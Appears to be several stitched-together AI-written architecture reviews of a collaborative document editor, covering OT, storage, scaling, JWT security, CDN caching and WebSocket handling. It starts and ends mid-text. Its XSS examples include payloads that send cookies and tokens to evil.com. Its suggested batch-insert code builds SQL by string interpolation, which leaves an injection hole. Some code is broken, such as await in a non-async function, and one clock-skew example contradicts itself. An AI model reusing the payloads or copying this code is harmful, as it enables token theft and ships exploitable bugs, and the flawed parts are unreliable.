  -- The operation log is the source of truth
  CREATE TABLE document_operations (
    id            BIGSERIAL PRIMARY KEY,
    document_id   UUID NOT NULL,
    revision      INTEGER NOT NULL,
    operation     JSONB NOT NULL,          -- the OT operation
    user_id       UUID NOT NULL,
    created_at    TIMESTAMPTZ DEFAULT NOW(),
    UNIQUE(document_id, revision)          -- enforces operation ordering
  );

  -- Snapshots are a materialized optimization, not the source of truth
  CREATE TABLE document_snapshots (
    document_id   UUID NOT NULL,
    revision      INTEGER NOT NULL,        -- snapshot is valid AT this revision
    content       JSONB NOT NULL,          -- full document state
    created_at    TIMESTAMPTZ DEFAULT NOW(),
    PRIMARY KEY(document_id, revision)
  );

  -- Index for fast "give me ops since revision X" queries
  CREATE INDEX idx_ops_doc_revision
    ON document_operations(document_id, revision);
`;

// Loading a document: snapshot + replay
async function loadDocument(documentId) {
  // 1. Get the latest snapshot
  const snapshot = await db.query(`
    SELECT content, revision FROM document_snapshots
    WHERE document_id = $1
    ORDER BY revision DESC LIMIT 1
  `, [documentId]);

  // 2. Get all operations AFTER the snapshot
  const ops = await db.query(`
    SELECT operation FROM document_operations
    WHERE document_id = $1 AND revision > $2
    ORDER BY revision ASC
  `, [documentId, snapshot.revision]);

  // 3. Replay operations on top of snapshot
  let document = snapshot.content;
  for (const op of ops) {
    document = applyOperation(document, op.operation);
  }

  return { document, revision: snapshot.revision + ops.length };
}

// Background job: create snapshots periodically to bound replay cost
async function createSnapshot(documentId) {
  const { document, revision } = await loadDocument(documentId);
  await db.query(`
    INSERT INTO document_snapshots (document_id, revision, content)
    VALUES ($1, $2, $3)
    ON CONFLICT DO NOTHING
  `, [documentId, revision, document]);
}

Trade-offs:

• More writes: Every keystroke (or batched group of keystrokes) hits the database instead of one write every 30 seconds
• Mitigation: Batch operations client-side (e.g., send every 100ms or on pause), and use PostgreSQL's efficient append-only inserts
• Storage growth: Operation logs grow indefinitely—need a compaction strategy (snapshot + truncate old ops)
• Benefit: Zero data loss on server crash, plus you get full edit history/undo for free

---

2.2 Full HTML Snapshots Are Fragile and Bloated

The Flaw: Storing documents as "full HTML snapshots" creates multiple problems:

Problems with raw HTML storage:

1. XSS VULNERABILITY:
   User pastes: <img src=x onerror="fetch('evil.com/steal?cookie='+document.cookie)">
   If stored as raw HTML and rendered, every viewer gets compromised.

2. BLOAT:
   A 1-page document in HTML: ~50KB
   Same content in structured JSON: ~5KB
   With 30-second snapshots × millions of documents = massive storage

3. NO STRUCTURED OPERATIONS:
   You can't diff two HTML snapshots to figure out what changed.
   You can't do OT on raw HTML.
   You can't build features like "show me what Bob changed."

The Solution: Use a structured document model (like ProseMirror/Tiptap's JSON schema).

// Instead of: "<h1>Title</h1><p>Hello <strong>world</strong></p>"
// Store:
const documentStructure = {
  type: "doc",
  content: [
    {
      type: "heading",
      attrs: { level: 1 },
      content: [{ type: "text", text: "Title" }]
    },
    {
      type: "paragraph",
      content: [
        { type: "text", text: "Hello " },
        { type: "text", text: "world", marks: [{ type: "bold" }] }
      ]
    }
  ]
};

// This structured format:
// ✓ Can be validated against a schema (no XSS)
// ✓ Can be diffed structurally
// ✓ Can have OT operations applied to it
// ✓ Is ~60-80% smaller than equivalent HTML
// ✓ Can be rendered to HTML, Markdown, PDF, etc.

// Sanitization on output (defense in depth)
function renderToHTML(doc) {
  // Even with structured storage, sanitize on render
  return sanitizeHtml(structuredToHtml(doc), {
    allowedTags: ['h1','h2','h3','p','strong','em','a','ul','ol','li','table'],
    allowedAttributes: { 'a': ['href'] }
  });
}

---

2.3 PostgreSQL Write Bottleneck Under Real-Time Load

The Flaw: Every keystroke from every user results in a write to PostgreSQL. PostgreSQL is excellent, but it's not designed for the write pattern of "millions of tiny inserts per second with immediate consistency requirements."

Back-of-napkin math:
- 100,000 concurrent users
- Average 3 operations/second per user (typing)
- = 300,000 writes/second to PostgreSQL
- Each write needs to be durable (fsync) for data safety
- PostgreSQL on good hardware: ~50,000-100,000 TPS

You're 3-6x over capacity.

The Solution: Multi-tier write strategy.

// Tier 1: Redis Streams for immediate durability + ordering (microseconds)
// Tier 2: Async drain from Redis to PostgreSQL (batched, milliseconds)

const Redis = require('ioredis');
const redis = new Redis(REDIS_URL);

// When an operation arrives, write to Redis Stream (very fast, persistent)
async function persistOperation(documentId, operation) {
  // XADD is O(1) and Redis Streams are persistent (AOF)
  const streamId = await redis.xadd(
    `ops:${documentId}`,
    '*',  // auto-generate ID
    'op', JSON.stringify(operation)
  );

  // Also publish for real-time broadcast (from section 1.1)
  await redis.publish(`doc:${documentId}`, JSON.stringify(operation));

  return streamId;
}

// Background worker: drain Redis Streams to PostgreSQL in batches
async function drainToPostgres() {
  while (true) {
    // Read up to 100 operations from each active document stream
    const streams = await redis.xreadgroup(
      'GROUP', 'pg-writer', 'worker-1',
      'COUNT', 100,
      'BLOCK', 1000,  // wait up to 1s for new data
      'STREAMS', ...activeDocumentStreams, ...ids
    );

    if (streams) {
      // Batch insert into PostgreSQL (much more efficient)
      const values = streams.flatMap(([stream, entries]) =>
        entries.map(([id, fields]) => {
          const op = JSON.parse(fields[1]);
          return `('${op.documentId}', ${op.revision}, '${JSON.stringify(op)}'::jsonb)`;
        })
      );

      await db.query(`
        INSERT INTO document_operations (document_id, revision, operation)
        VALUES ${values.join(',')}
      `);

      // Acknowledge processed entries
      for (const [stream, entries] of streams) {
        await redis.xack(stream, 'pg-writer', ...entries.map(e => e[0]));
      }
    }
  }
}

Trade-offs:

• Added complexity: Two storage systems to manage
• Failure mode: If Redis dies before draining to PostgreSQL, you lose those operations (mitigate with Redis AOF persistence + replication)
• Consistency: PostgreSQL is now slightly behind real-time (acceptable since real-time reads come from Redis/memory anyway)

---

3. SCALING AND CONCURRENCY FAILURES

3.1 Document-Level Concurrency Bottleneck

The Flaw: OT requires serialized processing of operations per document. If 500 users are editing the same document, all operations must be processed sequentially by one entity. With round-robin load balancing, operations for the same document scatter across all servers.

Round-robin distributes users randomly:

Server 1: Alice (doc A), Dave (doc B), Grace (doc A)
Server 2: Bob (doc A), Eve (doc C), Heidi (doc A)
Server 3: Carol (doc A), Frank (doc B), Ivan (doc A)

Document A's operations arrive at 3 different servers.
Who serializes them? Who runs the OT engine?
Every server would need to coordinate via distributed locking. Nightmare.

The Solution: Sticky routing — all connections for a document go to the same server.

# Nginx/HAProxy: route by document ID, not round-robin
upstream api_servers {
    # Consistent hashing by document ID
    hash $arg_documentId consistent;

    server api-1:3000;
    server api-2:3000;
    server api-3:3000;
}

# WebSocket upgrade with document-based routing
map $args $document_id {
    ~documentId=(?<did>[^&]+) $did;
}

server {
    location /ws {
        proxy_pass http://api_servers;
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection "upgrade";

        # Sticky routing: same document always goes to same server
        # Consistent hashing means adding/removing servers only
        # remaps ~1/N of documents
    }
}

// Server-side: each server is the authoritative OT engine
// for its assigned documents

class Server {
  constructor() {
    // In-memory OT engines only for documents assigned to THIS server
    this.documentEngines = new Map();
  }

  getOrCreateEngine(documentId) {
    if (!this.documentEngines.has(documentId)) {
      const engine = new DocumentOTEngine(documentId);
      // Load current state from database
      engine.initialize();
      this.documentEngines.set(documentId, engine);
    }
    return this.documentEngines.get(documentId);
  }

  async handleOperation(documentId, clientRevision, operation) {
    const engine = this.getOrCreateEngine(documentId);
    // Serialized per-document via the single engine instance
    // Node.js single-threaded event loop helps here!
    return engine.receiveOperation(clientRevision, operation);
  }
}

Trade-offs:

• Hot documents: A viral document with 10,000 concurrent editors overwhelms one server (need document sharding at that scale—split into sections)
• Server failure: When a server dies, its documents must be reassigned (consistent hashing makes this automatic, but clients need to reconnect)
• Uneven load: Some servers may handle more active documents than others (monitor and rebalance)

---

3.2 Read Replica Lag Causes Stale Reads

The Flaw: PostgreSQL read replicas have replication lag (typically 10ms-1s, but can spike to minutes under load). If a user writes to the primary and then reads from a replica, they may not see their own changes.

t=0ms   User saves document title → write goes to PRIMARY
t=5ms   User's browser requests document list → read goes to REPLICA
        Replica hasn't received the write yet
        User doesn't see their new title → "Where did my change go?!"

The Solution: Read-your-own-writes consistency.

// Track the last write position per user session
class ConsistentReader {
  // After any write, store the PostgreSQL WAL position
  async afterWrite(userId) {
    const result = await primaryDb.query(
      'SELECT pg_current_wal_lsn() as lsn'
    );
    await redis.set(
      `user:${userId}:last_write_lsn`,
      result.rows[0].lsn,
      'EX', 30  // expire after 30 seconds
    );
  }

  // Before any read, check if the replica has caught up
  async getReadConnection(userId) {
    const lastWriteLsn = await redis.get(`user:${userId}:last_write_lsn`);

    if (!lastWriteLsn) {
      // No recent writes — replica is fine
      return replicaDb;
    }

    // Check if replica has caught up to the user's last write
    const result = await replicaDb.query(
      'SELECT pg_last_wal_replay_lsn() >= $1::pg_lsn as caught_up',
      [lastWriteLsn]
    );

    if (result.rows[0].caught_up) {
      return replicaDb;
    }

    // Replica hasn't caught up — read from primary
    return primaryDb;
  }
}

Trade-offs:

• More primary reads: Some reads that could go to replicas will hit the primary
• Complexity: Need to track write positions per user
• Alternative: For the real-time editing path, bypass replicas entirely (all real-time state comes from Redis/memory); use replicas only for non-real-time queries (analytics, search, document listing)

---

3.3 Organization-Based Partitioning Creates Hot Spots

The Flaw: Partitioning by organization ID means one large organization's data all lives on one partition. If Google (500,000 employees) uses your tool, that partition is 1000x larger than a 50-person startup's partition.

Partition 1: ["TinyStartup LLC"]     → 200 documents
Partition 2: ["MegaCorp Inc."]       → 5,000,000 documents
Partition 3: ["SmallAgency Co."]     → 500 documents

Partition 2 is a massive hot spot.

The Solution: Hash-based partitioning on document ID, with organization as a secondary index.

-- Partition by hash of document_id (even distribution guaranteed)
CREATE TABLE document_operations (
    id            BIGSERIAL,
    document_id   UUID NOT NULL,
    org_id        UUID NOT NULL,
    revision      INTEGER NOT NULL,
    operation     JSONB NOT NULL,
    created_at    TIMESTAMPTZ DEFAULT NOW()
) PARTITION BY HASH (document_id);

-- Create partitions (e.g., 16 partitions)
CREATE TABLE document_operations_p0
    PARTITION OF document_operations FOR VALUES WITH (MODULUS 16, REMAINDER 0);
CREATE TABLE document_operations_p1
    PARTITION OF document_operations FOR VALUES WITH (MODULUS 16, REMAINDER 1);
-- ... through p15

-- Organization-level queries use an index, not the partition key
CREATE INDEX idx_ops_org ON document_operations (org_id, created_at);

Trade-offs:

• Cross-org queries are fine: Hash partitioning distributes evenly
• Org-level queries are slightly slower: Must scan all partitions (but the index helps)
• Rebalancing: Adding partitions requires data redistribution (plan partition count for 5-year growth)

---

4. SECURITY VULNERABILITIES

4.1 JWT in localStorage = XSS Token Theft

The Flaw: JWTs stored in localStorage are accessible to any JavaScript running on the page. A single XSS vulnerability (including from third-party scripts) exposes every user's session.

// Any XSS payload can steal the token:
fetch('https://evil.com/steal', {
  method: 'POST',
  body: JSON.stringify({
    token: localStorage.getItem('auth_token'),
    // Attacker now has a 24-hour valid session
    // They can read/modify ALL of the user's documents
  })
});

The Solution: HttpOnly cookies with proper security attributes.

// Server: set JWT as HttpOnly cookie (JavaScript cannot access it)
function setAuthCookie(res, token) {
  res.cookie('session', token, {
    httpOnly: true,     // JavaScript cannot read this cookie
    secure: true,       // only sent over HTTPS
    sameSite: 'strict', // not sent on cross-origin requests (CSRF protection)
    maxAge: 24 * 60 * 60 * 1000,  // 24 hours
    path: '/',
    domain: '.yourdomain.com'
  });
}

// For WebSocket auth (cookies are sent on WS handshake):
const WebSocket = require('ws');
const wss = new WebSocket.Server({ noServer: true });

server.on('upgrade', (request, socket, head) => {
  // Parse cookie from the upgrade request headers
  const cookies = parseCookies(request.headers.cookie);
  const token = cookies.session;

  try {
    const user = jwt.verify(token, JWT_SECRET);
    wss.handleUpgrade(request, socket, head, (ws) => {
      ws.user = user;
      wss.emit('connection', ws, request);
    });
  } catch (err) {
    socket.write('HTTP/1.1 401 Unauthorized\r\n\r\n');
    socket.destroy();
  }
});

Trade-offs:

• CSRF risk: Cookies are sent automatically, so you need CSRF protection (SameSite=Strict handles most cases; add CSRF tokens for older browsers)
• Cross-domain complexity: If your API is on a different domain than your frontend, you need CORS configuration
• Mobile/native clients: May need a separate token-based auth flow (but web clients should use cookies)

---

4.2 24-Hour JWT with No Revocation

The Flaw: If a user's token is compromised, or they're fired/deactivated, the token remains valid for up to 24 hours. JWTs are stateless — there's no server-side way to invalidate them without additional infrastructure.

t=0h    Employee gets JWT (expires t=24h)
t=1h    Employee is terminated, account deactivated
t=1h-24h  Terminated employee still has full access
          Can download/modify/delete all documents they had access to

The Solution: Short-lived access tokens + refresh token rotation + server-side deny list.

// Token strategy:
// - Access token: 15-minute expiry (short-lived, used for API calls)
// - Refresh token: 7-day expiry (stored in HttpOnly cookie, used to get new access tokens)

function issueTokens(user) {
  const accessToken = jwt.sign(
    { userId: user.id, role: user.role },
    ACCESS_SECRET,
    { expiresIn: '15m' }
  );

  const refreshToken = jwt.sign(
    { userId: user.id, tokenFamily: uuid() },
    REFRESH_SECRET,
    { expiresIn: '7d' }
  );

  // Store refresh token hash in database for revocation
  await db.query(`
    INSERT INTO refresh_tokens (user_id, token_hash, family, expires_at)
    VALUES ($1, $2, $3, NOW() + INTERVAL '7 days')
  `, [user.id, hash(refreshToken), refreshToken.tokenFamily]);

  return { accessToken, refreshToken };
}

// Fast revocation check using Redis (checked on every request)
async function isTokenRevoked(jti) {
  return await redis.sismember('revoked_tokens', jti);
}

// When user is deactivated: revoke all their tokens
async function deactivateUser(userId) {
  // Add all active token IDs to the deny list
  await redis.sadd('revoked_tokens', ...activeTokenIds);
  // Delete all refresh tokens
  await db.query('DELETE FROM refresh_tokens WHERE user_id = $1', [userId]);
}

Trade-offs:

• Added latency: Every request checks the deny list (Redis SISMEMBER is O(1), adds ~1ms)
• Complexity: Refresh token rotation logic is non-trivial
• Hybrid approach: You're adding server-side state to a "stateless" JWT system (but pure stateless JWTs are inappropriate for applications that need revocation)

---

4.3 No Document-Level Authorization on WebSocket Messages

The Flaw: The architecture describes authentication (JWT) but not authorization. Once authenticated, can any user open a WebSocket to any document? Every incoming operation must be checked.

// VULNERABLE: no authorization check
ws.on('message', async (data) => {
  const { documentId, operation } = JSON.parse(data);
  // Anyone can send operations to any document!
  await handleOperation(documentId, operation);
});

The Solution: Per-document permission checks on every operation.

// Permission model
const PERMISSIONS = {
  OWNER: ['read', 'write', 'share', 'delete'],
  EDITOR: ['read', 'write'],
  COMMENTER: ['read', 'comment'],
  VIEWER: ['read']
};

// Check on WebSocket connection AND on every message
ws.on('message', async (data) => {
  const { documentId, operation } = JSON.parse(data);

  // Check permission (cached in Redis for performance)
  const permission = await getPermission(ws.user.id, documentId);

  if (!permission || !PERMISSIONS[permission].includes('write')) {
    ws.send(JSON.stringify({
      error: 'FORBIDDEN',
      message: 'You do not have write access to this document'
    }));
    return;
  }

  await handleOperation(documentId, operation, ws.user);
});

// Cache permissions in Redis (invalidate on share/unshare)
async function getPermission(userId, documentId) {
  const cacheKey = `perm:${userId}:${documentId}`;
  let permission = await redis.get(cacheKey);

  if (!permission) {
    const result = await db.query(`
      SELECT role FROM document_permissions
      WHERE user_id = $1 AND document_id = $2
    `, [userId, documentId]);

    permission = result.rows[0]?.role || 'NONE';
    await redis.set(cacheKey, permission, 'EX', 300); // cache 5 min
  }

  return permission === 'NONE' ? null : permission;
}

---

5. CDN AND CACHING FAILURES

5.1 CDN Caching API Responses = Serving Stale/Wrong Data

The Flaw: CloudFront caching API responses for 5 minutes is extremely dangerous for a collaborative editor. Users will see stale document lists, stale permissions, and stale content.

Scenario:
t=0:00  Alice shares document with Bob → API returns "shared" status
        CloudFront caches this response

t=0:30  Alice REVOKES Bob's access → API returns "not shared"
        But CloudFront still has the old cached response

t=0:30-5:00  Bob's browser still gets the cached "shared" response
             Bob can still see and potentially access the document
             for up to 5 more minutes after access was revoked

The Solution: Separate caching strategies by content type.

// CDN configuration: NEVER cache authenticated API responses
// Only cache static assets and truly public content

// CloudFront behavior configurations:
const cloudFrontBehaviors = {
  // Static assets: aggressive caching
  '/static/*': {
    cachePolicyId: 'CachingOptimized',  // cache forever, bust with filename hash
    ttl: { default: 86400, max: 31536000 },
    compress: true
  },

  // Public marketing pages: moderate caching
  '/public/*': {
    cachePolicyId: 'CachingOptimized',
    ttl: { default: 300 },  // 5 min is fine for public content
  },

  // API endpoints: NO CDN CACHING
  '/api/*': {
    cachePolicyId: 'CachingDisabled',
    originRequestPolicyId: 'AllViewer',  // forward all headers
    // Let the application server set its own Cache-Control headers
  },

  // WebSocket: pass through entirely
  '/ws': {
    cachePolicyId: 'CachingDisabled',
    originRequestPolicyId: 'AllViewer',
  }
};

// Application-level caching headers (set by the API server)
app.get('/api/documents', (req, res) => {
  res.set({
    'Cache-Control': 'private, no-store',  // never cache user-specific data
    'Vary': 'Authorization, Cookie'
  });
  // ... return documents
});

app.get('/api/documents/:id/content', (req, res) => {
  // Document content changes constantly in a collaborative editor
  res.set('Cache-Control', 'no-store');
  // ... return content
});

Trade-offs:

• Higher origin load: API requests always hit your servers (this is correct—authenticated, mutable data should not be CDN-cached)
• Mitigation: Use application-level caching (Redis) instead of CDN caching for API responses
• Static assets still benefit: JS bundles, CSS, images, fonts are still CDN-cached

---

6. CONNECTION MANAGEMENT FAILURES

6.1 No WebSocket Reconnection or Offline Handling

The Flaw: The architecture doesn't address what happens when a WebSocket connection drops (network switch, laptop sleep, mobile network change). Without explicit handling, users will type into a disconnected editor and lose everything.

The Solution: Client-side operation buffering with automatic reconnection.

class ResilientDocumentConnection {
  constructor(documentId) {
    this.documentId = documentId;
    this.pendingOps = [];          // operations not yet acknowledged by server
    this.bufferedOps = [];         // operations created while disconnected
    this.serverRevision = 0;
    this.state = 'disconnected';   // disconnected | connecting | synchronized
    this.reconnectAttempt = 0;
  }

  connect() {
    this.state = 'connecting';
    this.ws = new WebSocket(
      `wss://api.example.com/ws?documentId=${this.documentId}`
    );

    this.ws.onopen = () => {
      this.state = 'synchronized';
      this.reconnectAttempt = 0;

      // Send any operations that were buffered while offline
      for (const op of this.bufferedOps) {
        this.sendOperation(op);
      }
      this.bufferedOps = [];
    };

    this.ws.onclose = (event) => {
      this.state = 'disconnected';
      this.scheduleReconnect();
    };

    this.ws.onerror = () => {
      // onclose will fire after onerror
    };

    this.ws.onmessage = (event) => {
      this.handleServerMessage(JSON.parse(event.data));
    };
  }

  // User makes an edit
  applyLocalOperation(operation) {
    // Always apply locally immediately (optimistic)
    this.editor.apply(operation);

    if (this.state === 'synchronized') {
      this.sendOperation(operation);
    } else {
      // Buffer for later — user can keep typing offline
      this.bufferedOps.push(operation);
      this.showOfflineIndicator();
    }
  }

  scheduleReconnect() {
    // Exponential backoff with jitter
    const baseDelay = Math.min(1000 * Math.pow(2, this.reconnectAttempt), 30000);
    const jitter = baseDelay * 0.5 * Math.random();
    const delay = baseDelay + jitter;

    this.reconnectAttempt++;

    console.log(`Reconnecting in ${Math.round(delay)}ms (attempt ${this.reconnectAttempt})`);
    setTimeout(() => this.connect(), delay);
  }

  showOfflineIndicator() {
    // Show yellow "offline — changes will sync when reconnected" banner
    // Users MUST know their changes aren't saved yet
    document.getElementById('sync-status').className = 'offline';
  }
}

Trade-offs:

• Conflict resolution on reconnect: Buffered operations may conflict with changes made by others while offline (OT handles this, but the longer the offline period, the more complex the transform)
• Memory: Very long offline sessions could buffer many operations (set a reasonable limit and warn the user)
• UX: Must clearly communicate connection state to users

---

6.2 WebSocket Memory Leaks on Server

The Flaw: Long-lived WebSocket connections accumulate state. Without proper cleanup, servers leak memory from abandoned connections, dead subscriptions, and orphaned OT engine instances.

// Common leak patterns:

// LEAK 1: Client closes browser without clean disconnect
// The TCP connection may stay "open" on the server for minutes

// LEAK 2: OT engines for documents that no one is editing anymore
// stay in memory indefinitely

// LEAK 3: Redis pub/sub subscriptions for documents never unsubscribed

The Solution: Heartbeat monitoring + resource lifecycle management.

class ConnectionManager {
  constructor() {
    this.connections = new Map();  // ws → metadata
    this.documentSubscribers = new Map();  // documentId → Set<ws>
  }

  addConnection(ws, user, documentId) {
    ws.isAlive = true;
    ws.documentId = documentId;

    this.connections.set(ws, {
      user,
      documentId,
      connectedAt: Date.now(),
      lastActivity: Date.now()
    });

    // Track subscribers per document
    if (!this.documentSubscribers.has(documentId)) {
      this.documentSubscribers.set(documentId, new Set());
      redis.subscribe(`doc:${documentId}`);  // subscribe on first user
    }
    this.documentSubscribers.get(documentId).add(ws);

    // Heartbeat: client must respond to pings
    ws.on('pong', () => { ws.isAlive = true; });
    ws.on('close', () => this.removeConnection(ws));
    ws.on('error', () => this.removeConnection(ws));
  }

  removeConnection(ws) {
    const meta = this.connections.get(ws);
    if (!meta) return;

    this.connections.delete(ws);

    // Remove from document subscribers
    const subs = this.documentSubscribers.get(meta.documentId);
    if (subs) {
      subs.delete(ws);

      // If no more subscribers for this document, clean up
      if (subs.size === 0) {
        this.documentSubscribers.delete(meta.documentId);
        redis.unsubscribe(`doc:${meta.documentId}`);

        // Unload OT engine after a grace period
        // (in case someone reconnects quickly)
        setTimeout(() => {
          if (!this.documentSubscribers.has(meta.documentId)) {
            documentEngines.delete(meta.documentId);
            console.log(`Unloaded OT engine for doc ${meta.documentId}`);
          }
        }, 60000);  // 60-second grace period
      }
    }

    try { ws.terminate(); } catch (e) {}
  }

  // Run every 30 seconds: detect dead connections
  startHeartbeat() {
    setInterval(() => {
      for (const [ws, meta] of this.connections) {
        if (!ws.isAlive) {
          console.log(`Dead connection detected: user ${meta.user.id}`);
          this.removeConnection(ws);
          return;
        }
        ws.isAlive = false;
        ws.ping();  // client must respond with pong within 30s
      }
    }, 30000);
  }
}

---

7. LOAD BALANCER FAILURE MODE

7.1 Round-Robin + WebSockets = Unbalanced Load

The Flaw: Round-robin assigns connections evenly at connection time, but WebSocket connections are long-lived. Over time, as servers are added/removed or connections have different lifetimes, load becomes severely unbalanced.

Scenario: Start with 2 servers, each gets 5000 connections.
Add server 3 for scaling.

Server 1: 5000 connections (existing, long-lived)
Server 2: 5000 connections (existing, long-lived)
Server 3: 0 connections     (new, gets only NEW connections)

Round-robin sends new connections equally, but existing connections
don't rebalance. Server 3 is idle while 1 and 2 are overloaded.

The Solution: Least-connections routing + connection count awareness.

upstream api_servers {
    # Use least_conn instead of round-robin for WebSocket connections
    # This sends new connections to the server with fewest active connections
    least_conn;

    server api-1:3000;
    server api-2:3000;
    server api-3:3000;
}

# BUT: combine with consistent hashing for document routing (from 3.1)
# Use a two-tier approach:

# Tier 1: Document-to-server assignment (consistent hash)
# Tier 2: Within the assigned server, least-connections for load awareness

// Active rebalancing: when a new server joins, gradually migrate documents
async function rebalanceDocuments(newServerList) {
  const currentAssignments = await getDocumentAssignments();
  const newAssignments = consistentHash(currentAssignments, newServerList);

  for (const [docId, { oldServer, newServer }] of changedAssignments) {
    if (oldServer !== newServer) {
      // Gracefully migrate: tell clients to reconnect to new server
      await notifyClientsToReconnect(docId, newServer);
      // Stagger migrations to avoid thundering herd
      await sleep(100);
    }
  }
}

---

SUMMARY: PRIORITIZED FIX ORDER

┌────┬──────────────────────────────────────┬──────────┬────────────┐
│ #  │ Issue                                │ Severity │ Effort     │
├────┼──────────────────────────────────────┼──────────┼────────────┤
│ 1  │ Last-write-wins destroys data (1.2)  │ CRITICAL │ High       │
│ 2  │ JWT in localStorage / XSS (4.1)     │ CRITICAL │ Medium     │
│ 3  │ No document authorization (4.3)     │ CRITICAL │ Medium     │
│ 4  │ 30s snapshot data loss (2.1)        │ HIGH     │ Medium     │
│ 5  │ CDN caching API responses (5.1)     │ HIGH     │ Low        │
│ 6  │ 2-second cross-server delay (1.1)   │ HIGH     │ Low        │
│ 7  │ Client clock timestamps (1.3)       │ HIGH     │ Low        │
│ 8  │ No reconnection handling (6.1)      │ HIGH     │ Medium     │
│ 9  │ JWT no revocation (4.2)             │ MEDIUM   │ Medium     │
│ 10 │ Split-brain document routing (3.1)  │ MEDIUM   │ Medium     │
│ 11 │ HTML snapshot bloat/XSS (2.2)       │ MEDIUM   │ Medium     │
│ 12 │ Org-based hot spots (3.3)           │ MEDIUM   │ Low        │
│ 13 │ Read replica staleness (3.2)        │ MEDIUM   │ Medium     │
│ 14 │ PG write bottleneck (2.3)           │ LOW*     │ High       │
│ 15 │ WebSocket memory leaks (6.2)        │ LOW*     │ Medium     │
│ 16 │ Round-robin imbalance (7.1)         │ LOW*     │ Low        │
└────┴──────────────────────────────────────┴──────────┴────────────┘
  * LOW at current scale, becomes HIGH at scale

The core issue is that this architecture treats a real-time collaborative editor like a traditional CRUD application. The fundamental shift needed is from state-based synchronization (snapshots, last-write-wins) to operation-based synchronization (OT/CRDTs, operation logs, event sourcing). That single conceptual change resolves issues 1, 2, 3, 4, and 7 simultaneously.

I'll analyze this architecture systematically and identify critical issues with their solutions.

Critical Failure Modes & Race Conditions

1. Server Island Problem

Issue: Users connected to different servers can't see each other's changes in real-time due to 2-second polling delay.

Race Condition:

Time 0: User A (Server 1) types "Hello"
Time 0.5: User B (Server 2) types "Hi" 
Time 2: Server 2 polls and gets "Hello", but User A never sees "Hi" until next poll

Solutions:

• Option A: Message broker (Redis Pub/Sub, RabbitMQ)
  • Trade-off: Adds complexity but enables true real-time sync
• Option B: Sticky sessions with session affinity
  • Trade-off: Simpler but reduces load balancing effectiveness
• Option C: Centralized WebSocket service
  • Trade-off: Single point of failure but eliminates server islands

2. Clock Skew & Timestamp Conflicts

Issue: Client-side timestamps are unreliable for conflict resolution.

Race Condition:

User A (clock +30s): Edit at "12:00:30" (actual 12:00:00)
User B (correct clock): Edit at "12:00:15" (actual 12:00:15)
Result: User A's older edit wins due to clock skew

Solution: Server-side Lamport timestamps or vector clocks

// Server assigns logical timestamps
const change = {
  content: edit.content,
  serverTimestamp: Date.now(),
  logicalClock: ++serverLogicalClock,
  serverId: process.env.SERVER_ID
}

3. Database Write Conflicts

Issue: Multiple servers writing simultaneously can cause data corruption.

Race Condition:

-- Server 1 and Server 2 simultaneously:
UPDATE documents SET content = 'Version A', version = version + 1 WHERE id = 123;
UPDATE documents SET content = 'Version B', version = version + 1 WHERE id = 123;
-- One update gets lost

Solution: Optimistic locking with version numbers

UPDATE documents 
SET content = $1, version = version + 1, updated_at = NOW()
WHERE id = $2 AND version = $3
RETURNING version;
-- If no rows affected, retry with conflict resolution

Scaling Bottlenecks

4. PostgreSQL Write Bottleneck

Issue: Single PostgreSQL instance becomes write bottleneck as user count grows.

Solutions:

• Option A: Operational Transform (OT) with batched writes

  // Batch operations every 100ms
  const batch = operations.splice(0, MAX_BATCH_SIZE);
  await db.query('INSERT INTO operations (doc_id, operation, timestamp) VALUES ...', batch);
  

• Option B: Event sourcing with separate write/read models
• Option C: Database sharding by document ID

5. WebSocket Connection Limits

Issue: Each server has OS-level limits (~65k connections per server).

Solution: Connection pooling and WebSocket clustering

// Use Redis adapter for Socket.io clustering
const io = require('socket.io')(server);
io.adapter(require('socket.io-redis')({ host: 'redis-cluster' }));

6. Memory Exhaustion from WebSocket State

Issue: Each connection stores document state in memory.

Solution: Stateless WebSockets with Redis for session storage

// Store connection state in Redis
await redis.hset(`session:${socketId}`, {
  userId: user.id,
  documentId: doc.id,
  lastSeen: Date.now()
});

Data Consistency Issues

7. Polling Delay Data Loss

Issue: 2-second polling can miss rapid changes or cause ordering issues.

Solution: Change Data Capture (CDC) with PostgreSQL logical replication

-- Enable logical replication
CREATE PUBLICATION doc_changes FOR TABLE documents, document_operations;
-- Consume changes in real-time instead of polling

8. JWT Token Security Vulnerabilities

Issue: 24-hour localStorage JWTs can't be revoked and are XSS vulnerable.

Solution: Short-lived access tokens + secure refresh tokens

// 15-minute access token + httpOnly refresh cookie
const accessToken = jwt.sign(payload, secret, { expiresIn: '15m' });
res.cookie('refreshToken', refreshToken, { 
  httpOnly: true, 
  secure: true, 
  sameSite: 'strict' 
});

Performance & Reliability Issues

9. CDN Caching Stale API Data

Issue: 5-minute API response caching serves stale document data.

Solution: Cache invalidation strategy

// Invalidate CDN cache on document updates
await cloudfront.createInvalidation({
  DistributionId: 'DISTRIBUTION_ID',
  InvalidationBatch: {
    Paths: [`/api/documents/${documentId}*`],
    CallerReference: Date.now().toString()
  }
});

10. Full Document Snapshot Inefficiency

Issue: Storing complete HTML every 30 seconds wastes storage and bandwidth.

Solution: Delta compression with operational transforms

// Store only operations, reconstruct document as needed
const operations = await db.query(
  'SELECT * FROM document_operations WHERE doc_id = $1 ORDER BY timestamp',
  [docId]
);
const document = applyOperations(baseDocument, operations);

Recommended Architecture Improvements

1. Event-Driven Architecture

Client → WebSocket → Message Broker → All Servers → Clients
                  ↓
              Event Store (PostgreSQL)

2. CRDT (Conflict-free Replicated Data Types)

Replace last-write-wins with proper collaborative editing algorithms:

// Use libraries like Yjs or ShareJS
import * as Y from 'yjs'
const ydoc = new Y.Doc()
const ytext = ydoc.getText('content')
// Automatic conflict resolution without data loss

3. Microservices Separation

• Document Service: CRUD operations
• Collaboration Service: Real-time sync
• User Service: Authentication/authorization
• Notification Service: User presence, cursors

This architecture addresses the major issues while maintaining scalability and reliability for a production collaborative editor.

Comprehensive Architecture Review: Real-Time Collaborative Document Editor

Executive Summary

This architecture has critical flaws that will cause data loss, security vulnerabilities, and poor user experience at scale. I've identified 18 distinct issues across 6 categories. Several are severe enough to cause silent data corruption in production today.

---

Category 1: Conflict Resolution & Data Integrity

Issue 1.1: Last-Write-Wins with Client Clocks is Fundamentally Broken

Severity: CRITICAL — Silent data loss in production

Scenario demonstrating the problem:
─────────────────────────────────────────────────────
User A (clock: accurate)     User B (clock: 5min fast)
─────────────────────────────────────────────────────
12:00:00 - Types "Hello"     11:59:00 - Types "World"
                             (clock is ahead, so B's
                              timestamp is EARLIER)

Result: "Hello" wins because it has the later timestamp
